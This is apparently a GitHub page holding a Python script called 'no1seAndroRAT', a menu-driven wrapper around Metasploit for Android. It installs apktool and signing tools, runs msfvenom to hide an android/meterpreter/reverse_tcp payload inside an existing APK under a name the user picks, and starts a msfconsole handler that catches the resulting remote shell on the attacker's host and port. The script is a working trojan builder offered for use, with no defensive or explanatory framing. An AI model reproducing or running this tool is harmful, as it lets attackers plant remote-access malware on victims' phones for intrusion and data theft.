-
Notifications
You must be signed in to change notification settings - Fork 13
/
no1seandro.py
189 lines (167 loc) · 8.42 KB
/
no1seandro.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
import os
import platform
from colorama import Fore, Back, Style, init
import time
import shutil
import stat
import subprocess
import apt
init(autoreset=True)
# art
art = """
██████ ██████ ██████ ███████ ██████ ██████ ██ ██ ███ ██ ██████ ██ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ███ ██ ██
██ ██ ██ ██ ██ █████ ██ ██ ██████ ████ ██ ██ ██ ██ ██ ██ ███████ █████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██████ ██████ ███████ ██████ ██████ ██ ██ ████ ██████ ██ ███████ ███████
1.0
"""
art2 = """
██████╗ ██████╗ ██████╗ ███████╗██████╗ ██████╗ ██╗ ██╗ ███╗ ██╗ ██████╗ ██╗███████╗███████╗
██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗ ██╔══██╗╚██╗ ██╔╝ ████╗ ██║██╔═══██╗███║██╔════╝██╔════╝
██║ ██║ ██║██║ ██║█████╗ ██║ ██║ ██████╔╝ ╚████╔╝ ██╔██╗ ██║██║ ██║╚██║███████╗█████╗
██║ ██║ ██║██║ ██║██╔══╝ ██║ ██║ ██╔══██╗ ╚██╔╝ ██║╚██╗██║██║ ██║ ██║╚════██║██╔══╝
╚██████╗╚██████╔╝██████╔╝███████╗██████╔╝ ██████╔╝ ██║ ██║ ╚████║╚██████╔╝ ██║███████║███████╗
╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚══════╝╚══════╝
2.0
"""
#My Amazing intro
def intro():
print(Fore.RED + art)
time.sleep(0.5)
clear()
print(Fore.BLUE + art2)
time.sleep(0.5)
clear()
print(Fore.LIGHTCYAN_EX + art)
time.sleep(0.5)
clear()
print(Fore.LIGHTMAGENTA_EX + art2)
# Clear function like always
def clear():
windows = "cls"
linux = "clear"
if platform.system() == "Windows":
os.system(windows)
else:
os.system(linux)
# Clear function with style
def clear_with_style():
clear()
print(Fore.GREEN + Back.BLACK + Style.BRIGHT)
# ===========================================
clear_with_style()
lhost = input(Fore.YELLOW + "Enter host/ip/server address: ")
lport = input("Enter port: ")
def checks():
clear_with_style()
apktool_jar_path = "/usr/local/bin/apktool.jar"
apktool_path = "/usr/local/bin/apktool"
if os.geteuid() == 0:
print(f"{Fore.GREEN}Running as root!")
time.sleep(1)
else:
print(f"{Fore.RED} please run the script as root!")
exit(1)
if not os.path.exists(apktool_jar_path):
print(f"{Fore.RED}apktool.jar not found. {Fore.GREEN}Copying and setting permissions...")
shutil.copy("src/apktool.jar", apktool_jar_path)
os.chmod(apktool_jar_path, stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH)
else:
print(f"{Fore.GREEN}apktool.jar found!")
time.sleep(1)
if not os.path.exists(apktool_path):
print(f"{Fore.RED}apktool not found. {Fore.GREEN}Copying and setting permissions...")
shutil.copy("src/apktool", apktool_path)
os.chmod(apktool_path, stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH)
else:
print(f"{Fore.GREEN}apktool found!")
time.sleep(1)
try:
subprocess.check_output(['java', '-version'], stderr=subprocess.STDOUT, text=True)
print(f"{Fore.GREEN}OpenJDK 11 found!")
time.sleep(1)
except subprocess.CalledProcessError as e:
print(f"{Fore.RED}OpenJDK 11 is not installed. Installing...")
time.sleep(1)
try:
subprocess.run(['sudo', 'apt', 'update'])
subprocess.run(['sudo', 'apt', 'install', 'openjdk-11-jdk', '-y'])
print(f"{Fore.GREEN}OpenJDK 11 has been installed successfully.")
time.sleep(2)
except subprocess.CalledProcessError as install_error:
print(f"{Fore.RED}Error installing OpenJDK 11: {install_error}")
except FileNotFoundError:
print(f"{Fore.RED}The 'java' command is not found. Please make sure Java is installed.")
cache = apt.Cache()
if cache['apksigner'].is_installed:
print(f"{Fore.GREEN}apksigner found!")
time.sleep(1)
else:
print(f"{Fore.RED}Can't find apksigner. Hold on I'm installing it")
time.sleep(2)
os.system("apt install apksigner -y")
if cache['zipalign'].is_installed:
print(f"{Fore.GREEN}zipalign found!")
time.sleep(1)
else:
print(f"{Fore.RED}Can't find zipalign. Hold on I'm installing it")
time.sleep(2)
os.system("dpkg -i src/zipalign_8.1.0+r23-2_amd64.deb")
#I hate life people don't understand me :(
def generate_payload():
clear_with_style()
apkname = input(Fore.YELLOW + "Enter the App/apk name: ")
print(Fore.CYAN + "Creating APK Please wait...")
#Replace example.apk with the apk you want to bind the payload to.
os.system(f"msfvenom -x example.apk -p android/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -o {apkname}.apk")
clear_with_style()
print(Fore.GREEN + f"APK payload generated successfully saved as {apkname}.apk")
listencho = input(Fore.YELLOW + "Would you like to listen?(Y/N): ")
if listencho == "Y":
set_listener()
else:
menu()
def set_listener():
clear_with_style()
print(Fore.CYAN + "Setting up a listener.")
os.system(f"msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD android/meterpreter/reverse_tcp; set LHOST {lhost}; set LPORT {lport}; exploit'")
def menu():
while True:
clear_with_style()
intro()
#Squidward
print(" .--'''''''''--.")
print(" .' .---. '.")
print(" / .-----------. \'")
print(" / .-----. \'")
print(" | .-. .-. |")
print(" | / \ / \ |")
print(" \ | .-. | .-. | /")
print(" '-._| | | | | | |_.-'")
print(" | '-' | '-' |")
print(" \___/ \___/")
print(" _.-' / \ `-._")
print(" .' _.--| |--._ '.")
print(" ' _...-| |-..._ '")
print(" | |")
print(" '.___.'")
#Squidward
print(Fore.RED+"Welcome to no1seAndroRAT.")
print(Fore.LIGHTYELLOW_EX+"Please select an option:")
print(f"{Fore.WHITE}1. Generate APK Payload{Style.RESET_ALL}")
print(f"{Fore.WHITE}2. Set Up Listener{Style.RESET_ALL}")
print(f"{Fore.WHITE}3. Exit{Style.RESET_ALL}")
choice = input("Enter your choice: ")
if choice == '1':
generate_payload()
elif choice == '2':
set_listener()
elif choice == '3':
clear_with_style()
break
else:
print(Fore.RED + "Invalid choice. Please select a valid option.")
if __name__ == "__main__":
checks()
menu()